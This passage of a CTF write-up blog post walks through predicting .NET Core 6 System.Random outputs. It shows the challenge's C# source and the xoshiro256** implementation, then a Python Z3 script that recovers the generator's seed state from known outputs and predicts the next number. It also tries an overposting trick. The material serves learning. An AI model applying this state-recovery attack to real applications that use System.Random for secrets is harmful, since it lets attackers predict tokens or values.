    <span class="hljs-tag">&lt;<span class="hljs-name">label</span>&gt;</span>
        Next number is:
        <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"number"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"rand"</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span>&gt;</span>Send<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>

@if (Model.InvalidGuid)
{
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"alert alert-danger"</span>&gt;</span>Invalid GUID.<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
}
@if (Model.InvalidRandom)
{
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"alert alert-danger"</span>&gt;</span>Invalid number.<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
}
@if (Model.Solved)
{
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"alert alert-success"</span>&gt;</span>The flag is @Model.Flag<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
}
</code></pre>
<ul>
<li><code>HomeController.cs</code> / Index action</li>
</ul>
<pre><code class="lang-cs"><span class="hljs-function"><span class="hljs-keyword">public</span> IActionResult <span class="hljs-title">Index</span>(<span class="hljs-params">Guid guid, <span class="hljs-keyword">long</span> rand</span>)</span>
{
    <span class="hljs-keyword">var</span> model = <span class="hljs-keyword">new</span> HomeModel
    {
        Random = GenerateRandomModel(),
        Flag = Flag,
        SourceCodeUrl = SourceCodeUrl,
        CacheExpiration = CacheExpiration
    };

    <span class="hljs-keyword">if</span> (guid != <span class="hljs-keyword">default</span>)
    {
        <span class="hljs-keyword">var</span> (invalidGuid, invalidRandom, solved) = CheckSolution(guid, rand);
        model.InvalidGuid = invalidGuid;
        model.InvalidRandom = invalidRandom;
        model.Solved = solved;
    }

    <span class="hljs-keyword">return</span> View(model);
}
</code></pre>
<ul>
<li><code>HomeController.cs</code> / Validator</li>
</ul>
<pre><code class="lang-cs"><span class="hljs-keyword">private</span> (<span class="hljs-keyword">bool</span> InvalidGuid, <span class="hljs-keyword">bool</span> InvalidRandom, <span class="hljs-keyword">bool</span> Solved) CheckSolution(Guid guid, <span class="hljs-keyword">long</span> rand)
{
    <span class="hljs-keyword">var</span> validGuid = memoryCache.TryGetValue&lt;RandomModel&gt;(guid, <span class="hljs-keyword">out</span> RandomModel randomModel);

    <span class="hljs-keyword">if</span> (!validGuid)
    {
        <span class="hljs-keyword">return</span> (InvalidGuid: <span class="hljs-literal">true</span>, InvalidRandom: <span class="hljs-literal">false</span>, Solved: <span class="hljs-literal">false</span>);
    }
    <span class="hljs-keyword">if</span> (randomModel.ExpectedRandomNumber == rand)
    {
        <span class="hljs-keyword">return</span> (InvalidGuid: <span class="hljs-literal">false</span>, InvalidRandom: <span class="hljs-literal">false</span>, Solved: <span class="hljs-literal">true</span>);
    }
    <span class="hljs-keyword">return</span> (InvalidGuid: <span class="hljs-literal">false</span>, InvalidRandom: <span class="hljs-literal">true</span>, Solved: <span class="hljs-literal">false</span>);
}
</code></pre>
<ul>
<li><code>HomeController.cs</code> / RNG</li>
</ul>
<pre><code class="lang-cs"><span class="hljs-function"><span class="hljs-keyword">private</span> RandomModel <span class="hljs-title">GenerateRandomModel</span>(<span class="hljs-params"></span>)</span>
{
    <span class="hljs-keyword">var</span> guid = Guid.NewGuid();
    <span class="hljs-comment">// The app runs on .NET Core 6</span>
    <span class="hljs-keyword">var</span> r = <span class="hljs-keyword">new</span> System.Random();
    <span class="hljs-keyword">var</span> randomNumbers = <span class="hljs-keyword">new</span> List&lt;<span class="hljs-keyword">long</span>&gt;();
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; NUM_COUNT; ++i)
    {
        randomNumbers.Add(r.NextInt64());
    }
    <span class="hljs-keyword">var</span> expectedRandom = r.NextInt64();
    <span class="hljs-keyword">var</span> randomModel = <span class="hljs-keyword">new</span> RandomModel
    {
        ExpectedRandomNumber = expectedRandom,
        Guid = guid,
        RandomNumbers = randomNumbers,
    };
    memoryCache.Set(guid, randomModel, TimeSpan.FromSeconds(CacheExpiration));
    <span class="hljs-keyword">return</span> randomModel;
}
</code></pre>
<p>Here we can see how <code>guid</code> is used to validate answer, timescoping the solution by purging values from cache after 30 seconds.</p>
<p>The most important seems to be comment content in random number generator - which says that the application is running on .NET Core 6. When you search what's so special about randoms in .NET Core 6, you could find that it has more secure and reliable implementation than .NET Framework, in which Random instance is seeded with current clock ticks - and that clock has finite resolution. Which means in .NET Framework, random instances generated within the same clock "cycle" would return the same "random" values.</p>
<p>Upon reading that, I considered this comment is to indicate that we should not bother cracking random by <a target="_blank" href="https://lowleveldesign.wordpress.com/2018/08/15/randomness-in-net/">predicting .NET Framework Random</a>.</p>
<p>I started digging up some .NET MVC vulnerabilities. I've discovered a technique called <a target="_blank" href="https://andrewlock.net/preventing-mass-assignment-or-over-posting-in-asp-net-core/">ASP.NET Overposting</a> and tried naively to manipulate <code>HomeModel</code> by forcing it to assume <code>Solved = true</code>. Of course, that was not meant to work because it is a <code>GET</code> request and no one is updating anything.</p>
<p>The trick is, that <code>The app runs on .NET Core 6</code> comment was actually a nudge, not discouragement. </p>
<h2 id="heading-net-core-sources">.NET Core Sources</h2>
<div class="hn-embed-widget" id="join-cta"></div><p>The first step to solving the challenge was to find how randoms are generated in .NET Core 6. Because <a target="_blank" href="https://abstarreveld.medium.com/how-open-source-changed-net-forever-f0e730dbc6f5">source code is open source for couple years now</a> we can easily find that definition on the <a target="_blank" href="https://github.com/dotnet">GitHub</a> or on <a target="_blank" href="https://source.dot.net/">.NET Source Browser</a>. 
I strongly recommend second one. </p>
<p>Navigating to the <code>Random</code> class, we can see that they are using an implementation of <a target="_blank" href="https://source.dot.net/#System.Private.CoreLib/src/libraries/System.Private.CoreLib/src/System/Random.Xoshiro256StarStarImpl.cs">xoshiro256** algorithm</a>.  </p>
<pre><code class="lang-csharp"><span class="hljs-comment">//System.Random.Xoshiro256StarStarImpl</span>
<span class="hljs-keyword">internal</span> <span class="hljs-keyword">sealed</span> <span class="hljs-keyword">class</span> <span class="hljs-title">XoshiroImpl</span> : <span class="hljs-title">ImplBase</span>
{
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">ulong</span> _s0, _s1, _s2, _s3;

    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">unsafe</span> <span class="hljs-title">XoshiroImpl</span>(<span class="hljs-params"></span>)</span>
    {
        <span class="hljs-keyword">ulong</span>* ptr = <span class="hljs-keyword">stackalloc</span> <span class="hljs-keyword">ulong</span>[<span class="hljs-number">4</span>];
        <span class="hljs-keyword">do</span>
        {
            <span class="hljs-comment">// Sys.GetNonCryptographicallySecureRandomBytes(..)</span>
            Interop.GetRandomBytes((<span class="hljs-keyword">byte</span>*)ptr, <span class="hljs-number">4</span> * <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">ulong</span>));
            _s0 = ptr[<span class="hljs-number">0</span>];
            _s1 = ptr[<span class="hljs-number">1</span>];
            _s2 = ptr[<span class="hljs-number">2</span>];
            _s3 = ptr[<span class="hljs-number">3</span>];
        }
        <span class="hljs-keyword">while</span> ((_s0 | _s1 | _s2 | _s3) == <span class="hljs-number">0</span>); <span class="hljs-comment">// at least one value must be non-zero</span>
    }

    <span class="hljs-comment">//...</span>

    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">override</span> <span class="hljs-keyword">long</span> <span class="hljs-title">NextInt64</span>(<span class="hljs-params"></span>)</span>
    {
        <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>)
        {
            <span class="hljs-keyword">ulong</span> result = NextUInt64() &gt;&gt; <span class="hljs-number">1</span>;
            <span class="hljs-keyword">if</span> (result != <span class="hljs-keyword">long</span>.MaxValue)
            {
                <span class="hljs-keyword">return</span> (<span class="hljs-keyword">long</span>)result;
            }
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">internal</span> <span class="hljs-keyword">ulong</span> <span class="hljs-title">NextUInt64</span>(<span class="hljs-params"></span>)</span>
    {
        <span class="hljs-keyword">ulong</span> s0 = _s0, s1 = _s1, s2 = _s2, s3 = _s3;

        <span class="hljs-keyword">ulong</span> result = BitOperations.RotateLeft(s1 * <span class="hljs-number">5</span>, <span class="hljs-number">7</span>) * <span class="hljs-number">9</span>;
        <span class="hljs-keyword">ulong</span> t = s1 &lt;&lt; <span class="hljs-number">17</span>;

        s2 ^= s0;
        s3 ^= s1;
        s1 ^= s2;
        s0 ^= s3;

        s2 ^= t;
        s3 = BitOperations.RotateLeft(s3, <span class="hljs-number">45</span>);

        _s0 = s0;
        _s1 = s1;
        _s2 = s2;
        _s3 = s3;

        <span class="hljs-keyword">return</span> result;
    }
    <span class="hljs-comment">//...</span>
}
</code></pre>
<p>After clearing the class from comments, attributes and members not related to our case (<code>Random.NextInt64()</code>) implementation looks bearable easy. </p>
<ol>
<li>Initialize 4 seeds (64 bits) with random bytes.</li>
<li>For each generated random - perform couple bit operations.</li>
<li>Shift right result one bit right. </li>
</ol>
<p>Now, because we know the four consecutive results of that algorithm, we could traceback the operations and that way get the initial 4 values that that instance of the Random class in the challenge got seeded with.</p>
<p>But how to do it?</p>
<h1 id="heading-z3-prover">Z3 Prover</h1>
<p>After the competition ended, I've read the following message: </p>
<blockquote>
<p>with z3 everything is easy</p>
</blockquote>
<p>What is that <code>z3</code>? Quick research and I found that <a target="_blank" href="https://github.com/Z3Prover/z3">Z3 is a theorem prover from Microsoft Research</a>.</p>
<p>And it is freaking awesome. With it, you can solve simple equations, or more complicated with multiple unknowns (and multiple solutions). You can solve sudoku or nonograms. <a target="_blank" href="https://www.woodward.cl/engeinsteinsriddle.htm">Einstein quiz</a>. You name it.</p>
<p>It has libraries (<em>bindings</em>, as they are called on GitHub) for</p>
<ul>
<li>.NET</li>
<li>C / C++</li>
<li>Java</li>
<li>OCaml</li>
<li>Python</li>
<li>Julia</li>
<li>Web Assembly / TypeScript / JavaScript</li>
<li>Smalltalk (Pharo / Smalltalk/X)</li>
</ul>
<p>As far as I know, it has one weakness.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668643027264/o_1e5T4Me.png" alt="Pasted image 20221115220906.png" class="image--center mx-auto" /><em><a target="_blank" href="https://www.cyberark.com/resources/threat-research-blog/krypton-stealer-kryptonite-for-credentials">Image source</a></em></p>
<p>It is <a target="_blank" href="https://stackoverflow.com/a/70294334">power/logarithm operations</a>.</p>
<p>I have created a little demo when learning how to use Z3 in .NET and it is available <a target="_blank" href="https://github.com/CyberEthicalMe/Z3.TheoremProver.Examples">here</a>. Official examples are also very comprehensive.</p>
<h1 id="heading-solution">Solution</h1>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python</span>
<span class="hljs-comment"># Original solution by Gynvael (https://gynvael.coldwind.pl/?id=756)</span>
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">from</span> z3 <span class="hljs-keyword">import</span> *

<span class="hljs-comment"># Known, consecutive randoms</span>
values_str = <span class="hljs-string">"""
1255991502175989513
2593707083834038309
5388191392240667281
6931219874288807879
1406283089239957884
"""</span>

values = [int(x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> values_str.split()]
print(values)

<span class="hljs-comment"># Interop.GetRandomBytes(..)</span>
org_s0 = BitVec(<span class="hljs-string">"_s0"</span>, <span class="hljs-number">64</span>)
org_s1 = BitVec(<span class="hljs-string">"_s1"</span>, <span class="hljs-number">64</span>)
org_s2 = BitVec(<span class="hljs-string">"_s2"</span>, <span class="hljs-number">64</span>)
org_s3 = BitVec(<span class="hljs-string">"_s3"</span>, <span class="hljs-number">64</span>)

<span class="hljs-comment"># _sN = ptr[N]; N=0..3</span>
_s0 = org_s0
_s1 = org_s1
_s2 = org_s2
_s3 = org_s3

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">py_shr</span>(<span class="hljs-params">x, k</span>):</span>
  <span class="hljs-keyword">return</span> x &gt;&gt; k

<span class="hljs-comment"># https://www.geeksforgeeks.org/python3-program-to-rotate-bits-of-a-number/</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">rotl</span>(<span class="hljs-params">x, n, shr</span>):</span>
    <span class="hljs-keyword">return</span> (x &lt;&lt; n) | shr(x, <span class="hljs-number">64</span> - n) &amp; <span class="hljs-number">0xffffffffffffffff</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">NextInt64</span>(<span class="hljs-params">_s0, _s1, _s2, _s3, shr = LShR</span>):</span>
    s0 = _s0
    s1 = _s1
    s2 = _s2
    s3 = _s3

    result = (rotl((s1 * <span class="hljs-number">5</span> &amp; <span class="hljs-number">0xffffffffffffffff</span>), <span class="hljs-number">7</span>, shr) * <span class="hljs-number">9</span>) &amp; <span class="hljs-number">0xffffffffffffffff</span>
    t = (s1 &lt;&lt; <span class="hljs-number">17</span>) &amp; <span class="hljs-number">0xffffffffffffffff</span>

    s2 = s2 ^ s0
    s3 = s3 ^ s1
    s1 = s1 ^ s2
    s0 = s0 ^ s3

    s2 = s2 ^ t
    s3 = rotl(s3, <span class="hljs-number">45</span>, shr)

    <span class="hljs-keyword">return</span> shr(result,<span class="hljs-number">1</span>), s0, s1, s2, s3

<span class="hljs-comment"># Create solver and feed it with known values</span>
s = Solver()
result = []
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>):
  res, _s0, _s1, _s2, _s3 = NextInt64(_s0, _s1, _s2, _s3)
  result.append(res)
  s.add(res == values[i])

<span class="hljs-comment"># Attempt to solve the equation.</span>
print(s.check())
m = s.model()
print(m)

<span class="hljs-comment"># Re-run the PRGN for 6 first numbers.</span>
_s0 = m[org_s0].as_long()
_s1 = m[org_s1].as_long()
_s2 = m[org_s2].as_long()
_s3 = m[org_s3].as_long()

print(<span class="hljs-string">"---"</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">6</span>):
  res, _s0, _s1, _s2, _s3 = NextInt64(_s0, _s1, _s2, _s3, py_shr)
  print(res)
print(<span class="hljs-string">"---"</span>)  <span class="hljs-comment"># 7824850908443950277</span>
</code></pre>
<p>This requires at least some explaination.</p>
<h3 id="heading-0xffffffffffffffff"><code>0xffffffffffffffff</code></h3>
<p>In <code>Python3</code> integers are <a target="_blank" href="https://peps.python.org/pep-0237/">limited by the available memory</a>. This is also a reason why Python is so awesome on working with <a target="_blank" href="https://blog.cyberethical.me/hacktheboo-2022-htb-ctf-write-ups#heading-gonna-lift-em-all">cryptography challenges</a> that revolves around very large powers. By applying bitwise AND (<code>&amp;</code>) to some big number, we can practically limit the size of it. <strong>Think of it as a type casting</strong>. Here I'm using 64 ones, limiting the length of the result to 64 bits. Without it, predicting randoms would look like this:
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668643056205/D9yengTam.png" alt="Pasted image 20221116020010.png" class="image--center mx-auto" /></p>
<h3 id="heading-lshr-and-andgtandgt"><code>LShR</code> and <code>&gt;&gt;</code></h3>
<p>For that one, I've decided to ask Gynvael why one time he is using <code>LShR</code> and another time <code>&gt;&gt;</code>. Apparently</p>
<ul>
<li><code>&gt;&gt;</code> is an <strong>arythmetic shift</strong></li>
<li><code>LShR</code> is a <strong>logical shift</strong>
Difference between them</li>
<li><code>&gt;&gt;</code> preserves sign (fills with <code>1</code> for negative, fills with <code>0</code> for positive number)</li>
<li><code>LShR</code> does not preserve sign (fills with <code>0</code>)
For example:</li>
</ul>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Value</td><td>Operator</td><td>count</td><td>result</td></tr>
</thead>
<tbody>
<tr>
<td><code>10101010</code></td><td>LShR (logical)</td><td>2</td><td><code>00101010</code></td></tr>
<tr>
<td><code>10101010</code></td><td>&gt;&gt; (arythmetic)</td><td>2</td><td><code>11101010</code></td></tr>
<tr>
<td><code>01101010</code></td><td>LShR</td><td>2</td><td><code>00011010</code></td></tr>
<tr>
<td><code>01101010</code></td><td>&gt;&gt;</td><td>2</td><td><code>00011010</code></td></tr>
</tbody>
</table>
</div><p>But why this is required to shuffle these two operators - I still don't know. Maybe he will explain once again 🥲 (sorry!), this time in the comments.</p>
<h3 id="heading-ress0s1s2s3-nextint64s0s1s2s3"><code>res,_s0,_s1,_s2,_s3 = NextInt64(_s0,_s1,_s2,_s3)</code></h3>
<p>It's <a target="_blank" href="https://www.w3schools.com/python/python_variables_global.asp">not intuitive</a> to use <code>global</code> variables in Python. For that reason, we can use functional approach with passing arguments through the function.</p>
<hr />
<p>Finally, we can get answer
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1668643066794/_c05kd0bs.png" alt="Pasted image 20221116020806.png" class="image--center mx-auto" /></p>
<h1 id="heading-additional-reading">Additional Reading</h1>
<div class="hn-embed-widget" id="follow-cta"></div><ul>
<li><a target="_blank" href="https://blog.cyberethical.me/mega-sekurak-hacking-party-ctf-solutions">Mega Sekurak Hacking Party CTF October 2022</a></li>
<li><a target="_blank" href="https://andrewlock.net/building-a-thread-safe-random-implementation-for-dotnet-framework/">Working with System.Random and threads safely in .NET Core and .NET Framework</a></li>
<li><a target="_blank" href="https://andrewlock.net/preventing-mass-assignment-or-over-posting-in-asp-net-core/">Preventing mass assignment or over posting in ASP.NET Core</a></li>
<li><a target="_blank" href="https://www.hanselman.com/blog/aspnet-overpostingmass-assignment-model-binding-security">ASP.NET - Overposting/Mass Assignment Model Binding Security</a></li>
<li><a target="_blank" href="https://stackoverflow.com/questions/13898175/how-does-z3-handle-non-linear-integer-arithmetic/13898524#13898524">How does Z3 handle non-linear integer arithmetic?</a></li>
</ul>
]]></content:encoded></item></channel></rss>